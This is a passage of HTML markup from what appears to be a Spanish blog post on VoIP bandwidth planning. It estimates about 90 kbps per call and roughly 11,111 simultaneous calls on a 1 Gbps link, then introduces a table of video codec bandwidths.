class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{69}&quot; paraid=&quot;1923339244&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; color=&quot;windowtext&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;El parámetro más importante de dicha tabla es el ancho de banda a nivel de ethernet, el resto son cálculos de ancho de banda de algunos servicios o de la cabecera VoIP sin más datos, pero todos los cálculos de ancho de banda VoIP lo sitúan en un consumo de entre 80-90Kbp&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;s, más cercanos a los 90. Es por ello que en nuestro cálculo usaremos 90kbps como base para nuestra medición… Partiendo de la base de que tenemos una tarjeta de red 1 Gb&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; color=&quot;windowtext&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{87}&quot; paraid=&quot;237481994&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-indent: 159px; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{91}&quot; paraid=&quot;1867936494&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: center; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-style: italic; font-variant-ligatures: none; font-weight: bold; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;1 Gbps=1000000 Kbps&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:2,&amp;quot;335551620&amp;quot;:2,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{97}&quot; paraid=&quot;939596184&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: center; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-style: italic; font-variant-ligatures: none; font-weight: bold; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;1000000 kbps /90 kbps= 11111 llamadas simultáneas&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:2,&amp;quot;335551620&amp;quot;:2,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{97}&quot; paraid=&quot;939596184&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: center; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:2,&amp;quot;335551620&amp;quot;:2,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-family: inherit; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{103}&quot; paraid=&quot;1611013708&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: left; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; color=&quot;windowtext&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; text-align: justify; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;Esto es un cálculo extremadamente simplificado e irrealista que obviamente está eliminando &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; color=&quot;windowtext&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; text-align: justify; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;absolutamente cualquier otra interacción de, ya sea respuestas ARP, interacciones de &lt;/span&gt;&lt;span class=&quot;NormalTextRun SpellingErrorV2Themed SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-image: var(--urlSpellingErrorV2, url(&amp;quot;data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB3aWR0aD0iNXB4IiBoZWlnaHQ9IjRweCIgdmlld0JveD0iMCAwIDUgNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KICAgIDwhLS0gR2VuZXJhdG9yOiBTa2V0Y2ggNTYuMiAoODE2NzIpIC0gaHR0cHM6Ly9za2V0Y2guY29tIC0tPgogICAgPHRpdGxlPnNwZWxsaW5nX3NxdWlnZ2xlPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGcgaWQ9IkZsYWdzIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSIgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIj4KICAgICAgICA8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMTAxMC4wMDAwMDAsIC0yOTYuMDAwMDAwKSIgaWQ9InNwZWxsaW5nX3NxdWlnZ2xlIj4KICAgICAgICAgICAgPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMTAxMC4wMDAwMDAsIDI5Ni4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0wLDMgQzEuMjUsMyAxLjI1LDEgMi41LDEgQzMuNzUsMSAzLjc1LDMgNSwzIiBpZD0iUGF0aCIgc3Ryb2tlPSIjRUIwMDAwIiBzdHJva2Utd2lkdGg9IjEiPjwvcGF0aD4KICAgICAgICAgICAgICAgIDxyZWN0IGlkPSJSZWN0YW5nbGUiIHg9IjAiIHk9IjAiIHdpZHRoPSI1IiBoZWlnaHQ9IjQiPjwvcmVjdD4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+&amp;quot;)); background-position: 0% 100%; background-repeat: repeat-x; border-bottom: 1px solid transparent; margin: 0px; padding: 0px; user-select: text;&quot;&gt;servicios&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;, accesos web, accesos SSH, &lt;/span&gt;&lt;span class=&quot;NormalTextRun SpellingErrorV2Themed SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-image: var(--urlSpellingErrorV2, url(&amp;quot;data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB3aWR0aD0iNXB4IiBoZWlnaHQ9IjRweCIgdmlld0JveD0iMCAwIDUgNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KICAgIDwhLS0gR2VuZXJhdG9yOiBTa2V0Y2ggNTYuMiAoODE2NzIpIC0gaHR0cHM6Ly9za2V0Y2guY29tIC0tPgogICAgPHRpdGxlPnNwZWxsaW5nX3NxdWlnZ2xlPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGcgaWQ9IkZsYWdzIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSIgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIj4KICAgICAgICA8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMTAxMC4wMDAwMDAsIC0yOTYuMDAwMDAwKSIgaWQ9InNwZWxsaW5nX3NxdWlnZ2xlIj4KICAgICAgICAgICAgPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMTAxMC4wMDAwMDAsIDI5Ni4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0wLDMgQzEuMjUsMyAxLjI1LDEgMi41LDEgQzMuNzUsMSAzLjc1LDMgNSwzIiBpZD0iUGF0aCIgc3Ryb2tlPSIjRUIwMDAwIiBzdHJva2Utd2lkdGg9IjEiPjwvcGF0aD4KICAgICAgICAgICAgICAgIDxyZWN0IGlkPSJSZWN0YW5nbGUiIHg9IjAiIHk9IjAiIHdpZHRoPSI1IiBoZWlnaHQ9IjQiPjwvcmVjdD4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+&amp;quot;)); background-position: 0% 100%; background-repeat: repeat-x; border-bottom: 1px solid transparent; margin: 0px; padding: 0px; user-select: text;&quot;&gt;etc&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;… Interacciones que, obviamente, restan muchísimo al ancho de  anda disponible, pero al menos mediante esta tabla, tenemos una base inicial sobre la que trabajar y&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; sobre todo, nos hace saber que cada llamada nos está repercutiendo en &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; color=&quot;windowtext&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-variant-ligatures: none; font-weight: bold; line-height: 19.425px; margin: 0px; padding: 0px; text-align: justify; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;90kbps&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; color=&quot;windowtext&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; text-align: justify; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; de ancho de red…&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; Con el añadido de que hay otros servicios que también consumen red.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; color=&quot;windowtext&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; line-height: 19.425px; margin: 0px; padding: 0px; text-align: justify; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{131}&quot; paraid=&quot;1156251036&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{135}&quot; paraid=&quot;1486464762&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;Si metemos video en la ecuación&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;el ancho de banda consumido por los elementos de video aumenta considerablemente&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;. Dicho ancho depende del códec y de&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; la resolución, pero he aquí una pequeña tabla:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{135}&quot; paraid=&quot;1486464762&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{151}&quot; paraid=&quot;1268045221&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: center; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLGOkXuGh8lQ7M229EPxd4z_vLB9Be5GnlVmyfi_0pV-3jrauCtUCaiVMst3hRJYHu1SCLuI1xZDJZuaBGl_tWCFVHWkJMj_pSo7owm4gecaFKz5Tyl_pO6_W-Y6SlKUZH_XXjNppbQvaaG0f8T0bCt3MWAlwi4EhM0ylhU5OVU8MrSN4Z3WavqHWevg/s541/ancho_banda_video.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;color: black; font-family: inherit;&quot;&gt;&lt;img alt=&quot;ancho_banda_codec_video&quot; border=&quot;0&quot; data-original-height=&quot;165&quot; data-original-width=&quot;541&quot; height=&quot;98&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLGOkXuGh8lQ7M229EPxd4z_vLB9Be5GnlVmyfi_0pV-3jrauCtUCaiVMst3hRJYHu1SCLuI1xZDJZuaBGl_tWCFVHWkJMj_pSo7owm4gecaFKz5Tyl_pO6_W-Y6SlKUZH_XXjNppbQvaaG0f8T0bCt3MWAlwi4EhM0ylhU5OVU8MrSN4Z3WavqHWevg/w320-h98/ancho_banda_video.PNG&quot; title=&quot;ancho_banda_codec_video&quot; width=&quot;320&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{156}&quot; paraid=&quot;245352247&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: center; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-style: italic; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;Tabla anchos de banda códecs video&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; 